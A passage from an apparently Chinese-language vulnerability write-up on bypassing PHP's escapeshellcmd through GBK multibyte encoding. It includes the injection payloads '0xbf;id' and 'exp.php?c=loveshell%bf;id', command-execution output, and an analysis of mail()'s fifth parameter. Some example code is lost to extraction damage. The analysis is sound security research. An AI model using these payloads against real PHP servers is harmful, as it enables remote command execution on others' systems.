好。一些
系统支持多字节字符集如 GBK 的时候, 这也正是国内的多数情况,你可以设置 LANG=zh_CN.GBK,这样你的输入都会被当作 GBK 编码处理,而 GBK 是双字节的,合法的 GBK 编码会被认为是一个字符。 大家可以看到,在 php 的处理过程中,它是单字节处理的,它只把输入当作一个字节流,而在 linux 设置了 GBK 字符集的时候,它的处理是双字节的,大家的理解很明显地不一致。我们查下 GBK 的字符集范 围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,而一个非常重要的字符\的编码为 5c,在
GBK 的尾字节范围之内,这样我们考虑一个特殊的输入:
0xbf;id 或 0xbf'id
经过 php 的 escapeshellcmd 单字节转码之后将会是
0xbf5c;id 0xbf5c'id
注意 0xbf5c 是一个合法的 GBK 编码,那么在 linux 执行的时候,会认为输入是
[0xbfbc];id
很好,后面的 id 将会被执行。可以做个简单的实验,如下:
[loveshell@Loveshell tmp]$ echo 縗 > ? [loveshell@Loveshell tmp]$ set|grep -i lang LANG=zh_CN.GB2312 LANGVAR=en_US.UTF-8 [loveshell@Loveshell tmp]$ export LANG=zh_CN.GBK [loveshell@Loveshell tmp]$ echo 縗 縗 [loveshell@Loveshell tmp]$ set|grep -i lang LANG=zh_CN.GBK LANGVAR=en_US.UTF-8 [loveshell@Loveshell tmp]$
其中縗的编码为 0xbf5c,可以看到在不设置 LANG 为 GBK 的时候縗是一个非法的 gb2312 编码,所以会被认 为是两个字符,所以其中含有的 0x5c 起作用,被认为命令没结束。然后我们设置编码为 GBK,縗就会被认 为是一个字符来 echo 了。 那我们如何来证明 php 的漏洞呢,拿
作为例子,正常情况下上面的代码工作很好,我们提交
exp.php?c=loveshell%bf;id
结果返回
loveshell?id
我们再来稍微改下上面的代码
paces system("echo $e"); ?>
php 的 putenv 函数用于修改 php 的运行时的环境变量,上面修改完 LANG 之后,再提交上面的参数就可以 看到:
loveshell 縗 uid=99(nobody) gid=4294967295 groups=4294967295
命令被成功执行了,这里需要自己设置环境变量,当然也可能某些机器已经设置了 LANG 为 GBK,于是一些 采用 escapeshellcmd 过滤输入的就会出问题了。这里本质是 linux 和 php 对参数的理解不一致,而 php 的 mail 函数在底层还是依靠系统来执行 sendmail 命令的,并且支持对 sendmail 命令加参数,不过参数被过 滤了,但是利用这里说到的问题,我们就可以在多字节编码机器上 bypass 过滤。 mail 函数一些代码片段如下:
...... if (PG(safe_mode) &;&; (ZEND_NUM_ARGS() == 5)) { php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE Restriction in effect. parameter is disabled in SAFE MODE."); RETURN_FALSE; } The fifth
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "sss|ss", &;to, &;to_len, &;subject, &;subject_len, &;message, &;message_len, &;headers, &;headers_len, &;extra_cmd, &;extra_cmd_len ) == FAILURE) { return; } ......
if (force_extra_parameters) {
extra_cmd = estrdup(force_extra_parameters); } else if (extra_cmd) { extra_cmd = php_escape_shell_cmd(extra_cmd); }
if (php_mail(to_r, subject_r, message, headers, extra_cmd TSRMLS_CC)) { RETVAL_TRUE; } else { RETVAL_FALSE; } .....
这里如果不是安全模式就会允许第五个参数, 第五个参数作为 extra_cmd 经过 php_escape_shell_cmd 过滤 后作为第五个参数送入 php_mail 函数,在 php_mail 中片段如下:
...... if (extra_cmd != NULL) { sendmail_cmd = emalloc (strlen (sendmail_pa